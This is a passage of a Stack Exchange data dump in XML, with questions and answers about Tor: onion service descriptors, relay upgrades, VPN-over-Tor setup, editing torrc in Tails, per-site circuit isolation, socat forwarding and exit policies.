downside.&lt;/p&gt;&#xA;" OwnerUserId="31161" LastActivityDate="2020-11-03T22:15:18.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21691" PostTypeId="1" CreationDate="2020-11-04T11:16:40.920" Score="1" ViewCount="48" Body="&lt;p&gt;Someone thought it would be funny to ddos my hidden service. Now my .onion domain after days of ddos stopping, and stop &amp;gt; start the tor service doesn't want to display. How do I republish my onion domain hidden service to new HSDir so it can be found by visitors?&lt;/p&gt;&#xA;" OwnerUserId="31166" LastActivityDate="2020-11-04T11:16:40.920" Title="Republish Hidden Service Descriptor to HSDir" Tags="|tor-browser-bundle|configuration|torsocks|directory|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21692" PostTypeId="1" CreationDate="2020-11-04T11:19:44.193" Score="1" ViewCount="153" Body="&lt;p&gt;i run a tor relay on a raspberry pi3. all is ok so far but when i try to upgrade tor 0.4.2.7 to the latest unstable version it says something like: N: Skipping acquire of configured file 'main/binary-armhf/Packages' as repository 'https://deb.torproject.org/torproject.org buster InRelease' doesn't support architecture 'armhf'.&lt;/p&gt;&#xA;&lt;p&gt;what am i doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="31167" LastActivityDate="2020-12-04T22:02:40.250" Title="cannot upgrade to tor unstable version" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21694" PostTypeId="2" ParentId="21692" CreationDate="2020-11-04T21:12:41.787" Score="1" Body="&lt;p&gt;Tor no longer provides 32-bit armhf versions of tor. You will either need to upgrade your OS to a 64-bit version, build tor from source, or check if Debian provides a compatible 32-bit armhf build. See: &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2020-May/045583.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2020-May/045583.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-04T21:12:41.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21695" PostTypeId="1" CreationDate="2020-11-05T03:48:36.200" Score="0" ViewCount="2293" Body="&lt;p&gt;**Which programming languages are used to write onion webpages . and is it possible to use tor browser on Linux distributions with obtaining full anonymity? , and finally where can I study the onion networking properly is there any source?&#xA;**&lt;/p&gt;&#xA;" OwnerUserId="31173" LastActivityDate="2021-08-22T19:06:58.367" Title="What programming languages are used to build tor hidden webpages (dark web webpages)" Tags="|onion-services|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21696" PostTypeId="2" ParentId="21695" CreationDate="2020-11-05T05:30:18.087" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Which programming languages are used to write onion webpages&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any programming language that you would use for normal websites (HTML/JavaScript/CSS for frontend/static content, NodeJS/PHP/Ruby/Python/Java/etc for the backend server).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;and is it possible to use tor browser on Linux distributions with obtaining full anonymity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can use Tor Browser on Linux, but there is no such thing as full anonymity.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;where can I study the onion networking properly is there any source?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;original Tor paper&lt;/a&gt; still gives a good introduction to how the network works. One part of the network design that you may want to search online for is &amp;quot;onion routing&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-05T05:30:18.087" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21697" PostTypeId="2" ParentId="21592" CreationDate="2020-11-05T15:25:01.267" Score="0" Body="&lt;p&gt;Here is a link how to do it:&#xA;&lt;a href=&quot;https://privatevpn.com/blog/guides/80/how-to-connect-to-privatevpn%27s-openvpn-servers-over-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://privatevpn.com/blog/guides/80/how-to-connect-to-privatevpn's-openvpn-servers-over-tor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is what user 2020 said. You need to rout VPN traffic over (local) proxy tor. For this you got to edit the ovpn file.&#xA;OVPN are configuration files for openvpn. It is an open-source vpn program. Nearly every VPN provider works with it and builds its own program based on openvpn.&lt;/p&gt;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you'll need to get openvpn and install it.&lt;/li&gt;&#xA;&lt;li&gt;Get the ovpn files with your VPN provider. You most likely will have to have a paid subscription.&lt;/li&gt;&#xA;&lt;li&gt;Find out the IP-address of your entry/guard node.&lt;/li&gt;&#xA;&lt;li&gt;Edit the ovpn file you'll want to use:&#xA;at the end write:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;socks-proxy 127.0.0.1 9050&#xA;route [IP of your entry guard/node] 255.255.255.255 net_gateway&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tor has a build in proxy you can use it to connect to from other programs. 127.0.0.1 is the loopback  address. That is essentially your own PC. 9050 is the standard proxy port of tor.&#xA;Route changes the Routing table (for further explanation of the routing table, google that one. It is too much too explain here).&#xA;Changing the routing table might not be needed in Windows other than in Linux. You could try it first without the last line.&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Use openvpn with the edited ovpn file to connect to VPN over Tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31155" LastEditorUserId="31155" LastEditDate="2020-11-05T17:28:20.607" LastActivityDate="2020-11-05T17:28:20.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21698" PostTypeId="2" ParentId="21592" CreationDate="2020-11-06T12:49:23.463" Score="0" Body="&lt;p&gt;Late answer, but this may help others who wish to achieve the same.&lt;/p&gt;&#xA;&lt;p&gt;This takes a little circuitous route, but IMHO more safer than other options provided.&lt;/p&gt;&#xA;&lt;p&gt;Download and install Whonix from &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, then follow the steps mentioned &lt;a href=&quot;https://www.whonix.org/wiki/Tunnels/Connecting_to_Tor_before_a_VPN#Inside_Whonix-Workstation_.E2.84.A2&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &amp;amp; an example setup &lt;a href=&quot;https://www.whonix.org/wiki/Tunnels/Examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; to achieve &lt;code&gt;User &amp;gt; Tor &amp;gt; VPN &amp;gt; Internet&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Why Whonix?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;DNS leaks are impossible as all connections are forced through Tor or blocked.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Few things to consider:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;UDP-style VPN connections are incompatible with Tor; the VPN must be configured to use TCP.&lt;/li&gt;&#xA;&lt;li&gt;Using Windows 10 there are high chances of DNS leaks through your VPN. If you connect to a VPN network on a Windows machine for instance, smart multi-homed name resolution may lead to DNS leakage.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://superuser.com/questions/1512544/vpn-dns-leak-when-using-openvpn-on-windows-10-december-2019-specifically-wit&quot;&gt;https://superuser.com/questions/1512544/vpn-dns-leak-when-using-openvpn-on-windows-10-december-2019-specifically-wit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ghacks.net/2017/08/14/turn-off-smart-multi-homed-name-resolution-in-windows/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ghacks.net/2017/08/14/turn-off-smart-multi-homed-name-resolution-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31176" LastActivityDate="2020-11-06T12:49:23.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21699" PostTypeId="1" CreationDate="2020-11-06T17:39:01.843" Score="0" ViewCount="2287" Body="&lt;p&gt;I have been running TAILs with the TOR browser already installed in the system. When trying to access &amp;quot;torrc&amp;quot; file which is located in etc/tor it constantly refuses to allow it to be edited with text editor within TAILs.&lt;/p&gt;&#xA;&lt;p&gt;Looking over the net for answers I have tried&#xA;A. Setting up Admin Password at the beginning&#xA;B. Tried using sudo [command] to see if it raises privelege&#xA;C. Copy the file to persistent volume. No luck&lt;/p&gt;&#xA;&lt;p&gt;The constat roadblock/message that comes up is &amp;quot;You do not have the permissions necessary to open the file&amp;quot;. Tried to look at file properties, all access is grayed out. The group says &amp;quot;Debian-Tor&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I want to exclude specific nodes and was able to do it installing TOR on windows but TAILs is not letting any access to that file. Need help to know how to edit the &amp;quot;Torrc&amp;quot; file.&lt;/p&gt;&#xA;" OwnerUserId="31177" LastActivityDate="2023-12-07T04:07:40.903" Title="How do you edit torrc file while in TAILS?" Tags="|configuration|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21700" PostTypeId="2" ParentId="21699" CreationDate="2020-11-07T05:56:00.673" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Looking over the net for answers I have tried A. Setting up Admin Password at the beginning B. Tried using sudo [command] to see if it raises privelege&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This should work fine, but there's an additional step, restart tor.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Edit the torrc. Don't forget to save the changes with CTRL+x&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sudo nano /etc/tor/torrc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Restart tor service to use the modified torrc:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;sudo systemctl restart tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31180" LastActivityDate="2020-11-07T05:56:00.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21701" PostTypeId="2" ParentId="21618" CreationDate="2020-11-07T06:02:07.790" Score="1" Body="&lt;p&gt;One reason to not run a service on any node is that one could see a correlation between your node and your service. Someone could see that your service is down every time your node goes down.&lt;/p&gt;&#xA;" OwnerUserId="31180" LastActivityDate="2020-11-07T06:02:07.790" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21702" PostTypeId="1" CreationDate="2020-11-07T09:36:55.957" Score="1" ViewCount="887" Body="&lt;p&gt;Tor Browser Bundle has &amp;quot;New Circuit for this Site&amp;quot; button (or &lt;kbd&gt;Ctrl/Cmd&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;L&lt;/kbd&gt; shortcut), doing what it says: changing circuit for specific domain.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Hal77.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hal77.png&quot; alt=&quot;screenshot of button and circuit changing&quot; /&gt;&lt;/a&gt;&#xA;The question is: how TBB do it? And how can I emulate\send such command, using &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;control protocol&lt;/a&gt;? Preferably not only for custom domain, but also for custom SocksPort (which is maybe not possible, since TBB uses single 9050?).&lt;/p&gt;&#xA;" OwnerUserId="31181" LastEditorUserId="31181" LastEditDate="2020-11-07T10:05:35.303" LastActivityDate="2021-08-21T01:42:33.603" Title="How TBB commands tor to use a &quot;New Circuit for this Site&quot;?" Tags="|tor-browser-bundle|circuit|protocol|client|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21703" PostTypeId="1" CreationDate="2020-11-07T23:06:42.600" Score="0" ViewCount="1707" Body="&lt;p&gt;&lt;strong&gt;Is my ISP watching me?&lt;/strong&gt;&#xA;&lt;em&gt;&amp;quot;Your browser is being managed by your organization&amp;quot;&lt;/em&gt; appeared on Tor preferences.&#xA;I have taken no security measures other than what TailsOS already has. Is there any way I can deal with it?&lt;/p&gt;&#xA;" OwnerUserId="31184" LastEditorUserId="31632" LastEditDate="2021-07-19T14:15:49.910" LastActivityDate="2021-07-19T20:39:10.063" Title="&quot;Your browser is being managed by your organization&quot; what is this message?" Tags="|tails|malware|internet-service-provider|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21704" PostTypeId="2" ParentId="21702" CreationDate="2020-11-08T14:39:06.167" Score="2" Body="&lt;p&gt;Short: &lt;strong&gt;it does not send a command. It creates new connection to &lt;code&gt;SocksPort&lt;/code&gt;, using different credentials, and sends new requests to domain through it&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Details:&#xA;Tor do isolates streams to different domains through different circuits. I don't know why exactly, but &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/tree/components/domain-isolator.js#n128&quot; rel=&quot;nofollow noreferrer&quot;&gt;TBB tries to harden isolation&lt;/a&gt; by&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// __tor.isolateCircuitsByDomain()__.&#xA;// For every HTTPChannel, replaces the default SOCKS proxy with one that authenticates&#xA;// to the SOCKS server (the tor client process) with a username (the first party domain)&#xA;// and a nonce password. Tor provides a separate circuit for each username+password&#xA;// combination.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, to get a &amp;quot;New Circuit for this Site&amp;quot; all what's needed is &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/tree/components/domain-isolator.js#n107&quot; rel=&quot;nofollow noreferrer&quot;&gt;generate some other credentials&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor.newCircuitForDomain = function(domain) {&#xA;  // Re-generate the nonce for the domain.&#xA;  if (domain === &amp;quot;&amp;quot;) {&#xA;    domain = &amp;quot;--unknown--&amp;quot;;&#xA;  }&#xA;  tor.noncesForDomains[domain] = tor.nonce();&#xA;  logger.eclog(3, &amp;quot;New domain isolation for &amp;quot; + domain + &amp;quot;: &amp;quot; + tor.noncesForDomains[domain]);&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...and reconnect with new login and password. &lt;code&gt;IsolateSocksAuth&lt;/code&gt; is on by default, and you're getting new circuit for this domain. Tor allows to connect with any login and password, unless other is specified in config or arguments (&lt;code&gt;Socks5ProxyUsername&lt;/code&gt; and &lt;code&gt;Socks5ProxyPassword&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@host:~# curl -x socks5h://random_login123:random_password123@localhost:9050 https://ifconfig.me&#xA;185.220.101.203&#xA;root@host:~# curl -x socks5h://random_login123:random_password124@localhost:9050 https://ifconfig.me&#xA;147.135.105.62&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31181" LastActivityDate="2020-11-08T14:39:06.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21706" PostTypeId="1" CreationDate="2020-11-11T17:33:52.380" Score="0" ViewCount="2469" Body="&lt;p&gt;It worked a few days ago, but now it doesn't.&#xA;The tor network works, I think, running tor I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;~ &amp;gt;&amp;gt;&amp;gt; sudo tor                                                                &#xA;Nov 11 18:52:17.284 [notice] Tor 0.4.4.5 running on Linux with Libevent 2.1.12-stable, OpenSSL 1.1.1h, Zlib 1.2.11, Liblzma 5.2.5, and Libzstd 1.4.5.&#xA;Nov 11 18:52:17.284 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 11 18:52:17.284 [notice] Read configuration file &amp;quot;/etc/tor/torrc&amp;quot;.&#xA;Nov 11 18:52:17.289 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 11 18:52:17.289 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;~ &amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I run it again it says tor already running:&lt;br /&gt;&#xA;&lt;code&gt;[warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But the browser won't open.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ./start-tor-browser.desktop             Launching './Browser/start-tor-browser --detach'...&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and than nothing or without detach, it is also closes.&lt;/p&gt;&#xA;&lt;p&gt;what I've tried:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setting RunAsDaemon=1 as to&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/13647/tor-browser-wont-open-kali-roling-2016-2&quot;&gt;Tor browser won&amp;#39;t open (kali roling 2016.2)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;uninstalling, reinstalling (from tor website, from kpcyrd, from flatpak) as many recomanded.&lt;/li&gt;&#xA;&lt;li&gt;disabled firewall (I don't have antivirus, I should look for one)&lt;/li&gt;&#xA;&lt;li&gt;running as admin.&lt;/li&gt;&#xA;&lt;li&gt;changed permissions to the tor folders (to root/tor, tried both).&lt;/li&gt;&#xA;&lt;li&gt;restarted mt computer completely.&lt;/li&gt;&#xA;&lt;li&gt;trying to connect through vpn (though doesn't make a difference the network works, the browser doesn't.&lt;/li&gt;&#xA;&lt;li&gt;I've seem some people refer to XPCOM, webroot, setting LOGNAME, which I didn't quit get what the meaning is.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I would really appreciate any and all help.&lt;/p&gt;&#xA;&lt;p&gt;my os is manjaro.&lt;/p&gt;&#xA;" OwnerUserId="31197" LastActivityDate="2022-04-05T20:02:50.237" Title="TOR browser won't open (I know it's been asked but I tried all the solutions I understood)" Tags="|tor-browser-bundle|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21707" PostTypeId="2" ParentId="21706" CreationDate="2020-11-11T18:11:45.673" Score="0" Body="&lt;p&gt;There are a bunch of issues here. First of all, you don't want to run tor or Tor Browser as root. If you only want to start the Tor Browser, then you probably don't want to be running tor at all outside of the browser, and especially not as a daemon.&lt;/p&gt;&#xA;&lt;p&gt;First uninstall every version of tor you've installed (for example, &lt;code&gt;apt remove tor&lt;/code&gt;, &lt;code&gt;snap remove tor&lt;/code&gt;, &lt;code&gt;flatpak uninstall tor&lt;/code&gt;, etc). Close the Tor Browser, and then make sure no tor processes are running using &lt;code&gt;pgrep ^tor\$&lt;/code&gt;. If any tor processes are running, then restart your computer and make sure that no new tor processes have started.&lt;/p&gt;&#xA;&lt;p&gt;Next delete your Tor Browser directory (note: this will delete any settings or bookmarks). Redownload Tor Browser from &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/&lt;/a&gt; and run it using &lt;code&gt;./start-tor-browser.desktop&lt;/code&gt;. Do not make any changes to your browser's torrc file.&lt;/p&gt;&#xA;&lt;p&gt;If the Tor Browser still does not launch, then please update your question with more information. You list a lot of things that you've tried, and any of them could have made weird configuration changes to your system.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-11-11T18:11:45.673" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21708" PostTypeId="2" ParentId="21636" CreationDate="2020-11-12T16:03:33.723" Score="0" Body="&lt;p&gt;In one server, configure Tor to provide the socks port locally.&#xA;Then create a port on localhost with socat, which will redirect the connection through Tors socks port, so delivering it to the other server.&#xA;E.g. Tor socks on 9050, other server at xyz.onion:6667&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socat TCP4-LISTEN:4242,bind=127.0.0.1,fork SOCKS4A:localhost:xyz.onion:6667,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The, you configure you ircd to connect to localhost:4242 in this example and not to the real address and socat will handle that.&lt;/p&gt;&#xA;&lt;p&gt;If ircd need both to establish a connection to each other, perform the same steps on the other machine with the .onion of the first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/socat&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/socat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31200" LastEditorUserId="31200" LastEditDate="2020-11-16T09:24:47.613" LastActivityDate="2020-11-16T09:24:47.613" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21709" PostTypeId="1" CreationDate="2020-11-13T19:52:14.520" Score="0" ViewCount="83" Body="&lt;p&gt;I would like to run an exit relay, but I don't want to deal with almost any abuse issues. So I figured to &lt;strong&gt;only exit to hidden services.&lt;/strong&gt; If my understandings are right, the exit policy and the relay part of my &lt;code&gt;torrc&lt;/code&gt; should look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitRelay 1&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I would also like to &lt;strong&gt;relay non-exit traffic, on the same machine.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&lt;p&gt;Or do I have any misunderstandings, for example, am I already able to be the third hop to a hidden service even if I have &lt;code&gt;ExitRelay 0&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="31203" LastActivityDate="2022-04-08T02:06:50.727" Title="Does an exit relay also relays non-exit traffic?" Tags="|relays|exit-relays|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21710" PostTypeId="2" ParentId="21302" CreationDate="2020-11-13T20:26:22.627" Score="0" Body="&lt;p&gt;JSEvans' answer is mostly right. But There are still some things that I would like to point out:&lt;/p&gt;&#xA;&lt;p&gt;First, creating your own VPN is way less anonymous than using public VPN or Tor, to the point I would like to assume it as completely &lt;strong&gt;NOT ANONYMOUS.&lt;/strong&gt; This is because &lt;strong&gt;only you&lt;/strong&gt; are using the VPN at a time, and that means any activities coming from that IP can only relate to a single person, in that case it is you. Adversaries might not relate this to your real life identity (such as approximate location if you don't use any proxy at all), but they are able to identify &amp;quot;You as you&amp;quot;. On the other hand, public VPNs and Tor have a busy traffic. Many people are using it, so adversaries can only &lt;strong&gt;relate this address to a group of people&lt;/strong&gt; that uses it.&lt;/p&gt;&#xA;&lt;p&gt;Second, since there is only one hop in a traditional VPN, you have to trust your VPN provider (or hosting provider if you are self-hosting). This is because they know both your address and destination. If they get hacked or searched by an adversary, you are deanonymized. Unlike traditional VPNs, you don't have to trust your Tor relays. In fact, there are many malicious relays out there, namely exit relays designed to sniff non-encrypted traffic. You might be using one right now, but as long as your data is E2EEd in the first place, it's fine to let them record some encrypted garbage.&lt;/p&gt;&#xA;&lt;p&gt;To sum it up, &lt;strong&gt;use a public VPN with Firefox&lt;/strong&gt;, enable &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; in &lt;code&gt;about:config&lt;/code&gt;, and browse in Private Window might serve your needs. As long as the VPN is not blocked by the website, in most cases you should be treated as a different user every time you restart Firefox.&lt;/p&gt;&#xA;&lt;p&gt;You might also try web proxies like the &amp;quot;Anonymous View&amp;quot; provided by &lt;a href=&quot;https://startpage.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;startpage.com search&lt;/a&gt;, or the proxy from &lt;a href=&quot;https://hide.me/en/proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;hide.me VPN&lt;/a&gt; &lt;strong&gt;through tor&lt;/strong&gt;. Remember &lt;strong&gt;only browse publicly available content, and not sign in&lt;/strong&gt; on those proxies, since the pages are actually MITMed by the proxy then presented to you.&lt;/p&gt;&#xA;" OwnerUserId="31203" LastActivityDate="2020-11-13T20:26:22.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21711" PostTypeId="2" ParentId="21709" CreationDate="2020-11-13T21:18:48.300" Score="0" Body="&lt;p&gt;As onion services &amp;quot;live&amp;quot; within the network, you don't need to be an exit to relay onion service traffic.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://2019.www.torproject.org/docs/onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/onion-services&lt;/a&gt; for details.&lt;/p&gt;&#xA;&lt;p&gt;Exits are &amp;quot;only&amp;quot; needed for exiting to the clearnet.&lt;/p&gt;&#xA;&lt;p&gt;Thank you for running any relay.&lt;/p&gt;&#xA;" OwnerUserId="31200" LastActivityDate="2020-11-13T21:18:48.300" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21712" PostTypeId="1" AcceptedAnswerId="21713" CreationDate="2020-11-14T14:19:48.143" Score="1" ViewCount="119" Body="&lt;p&gt;From what I've seen Tor is a very useful tool for good, however, many exit node IPs seem to have tons of automated reports for SSH abuse or scanning on AbuseIPDB. Is there a reason that Tor keeps port 22 open on exit nodes unlike ports for mail servers?&lt;/p&gt;&#xA;" OwnerUserId="31207" LastEditorUserId="88" LastEditDate="2020-11-14T14:27:30.593" LastActivityDate="2020-11-14T14:27:30.593" Title="Why does Tor not block port 22?" Tags="|exit-relays|ssh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21713" PostTypeId="2" ParentId="21712" CreationDate="2020-11-14T14:27:15.093" Score="0" Body="&lt;p&gt;When I look at my servers I see lots of scanning on port 22. Most of them are not via Tor exits, but using other machines. So I think it doesn't make much difference if Tor would disable that by default.&lt;/p&gt;&#xA;&lt;p&gt;In the case of port 22 it is in the hands of the administrator to take care of appropriate means. If the port scanning bothers you one good idea is to change the SSH port. Usually the scanning stops or is drastically reduced. Furthermore one could check if the SSH daemon is operated in a secure manner.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-11-14T14:27:15.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21714" PostTypeId="1" AcceptedAnswerId="21717" CreationDate="2020-11-14T17:48:16.973" Score="0" ViewCount="1867" Body="&lt;p&gt;&lt;em&gt;[Archlinux 5.9.8-arch1-1]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since my kernel update 5.8.5 -&amp;gt; 5.9.3, &lt;code&gt;tor.service&lt;/code&gt; fails at boot. The corresponding client setup is pretty plain but I can't find the hold-up ...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --version&#xA;Tor version 0.4.4.5.&#xA;$ systemctl is-enabled tor.service&#xA;enabled&#xA;$ systemctl status tor.service&#xA;● tor.service - Anonymizing overlay network for TCP&#xA;    Loaded: loaded (/usr/lib/systemd/system/tor.service; enabled; vendor preset: disabled)&#xA;    Active: failed (Result: exit-code) since Sat 2020-11-14 15:23:38 CET; 9min ago&#xA;  Process: 1212 ExecStartPre=/usr/bin/tor -f /etc/tor/torrc --verify-config (code=exited, status=0/SUCCESS)&#xA;  Process: 1219 ExecStart=/usr/bin/tor -f /etc/tor/torrc (code=exited, status=1/FAILURE)&#xA; Main PID: 1219 (code=exited, status=1/FAILURE)&#xA;&#xA;Nov 14 15:23:38 rameau systemd[1]: tor.service: Scheduled restart job, restart counter is at 5.&#xA;Nov 14 15:23:38 rameau systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;Nov 14 15:23:38 rameau systemd[1]: tor.service: Start request repeated too quickly.&#xA;Nov 14 15:23:38 rameau systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;Nov 14 15:23:38 rameau systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;... and what seems to be the significant extract from my journal log at boot:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ systemctl -b -e&#xA;Nov 14 15:59:02 HOST audit[1]: SERVICE_START pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tor comm=&amp;quot;systemd&amp;quot; exe=&amp;quot;/usr/lib/systemd/systemd&amp;quot; hostname=? addr=? terminal=? res=success'&#xA;Nov 14 15:59:02 HOST audit[1]: SERVICE_STOP pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=tor comm=&amp;quot;systemd&amp;quot; exe=&amp;quot;/usr/lib/systemd/systemd&amp;quot; hostname=? addr=? terminal=? res=success'&#xA;Nov 14 15:59:02 HOST systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;Nov 14 15:59:02 rameau tor[9339]: Nov 14 15:59:02.237 [notice] Tor 0.4.4.5 running on Linux with Libevent 2.1.12-stable, OpenSSL 1.1.1h, Zlib 1.2.11, Liblzma 5.2.5, and Libzstd 1.4.5.&#xA;Nov 14 15:59:02 HOST tor[9339]: Nov 14 15:59:02.237 [notice] Tor can't help you if you use it 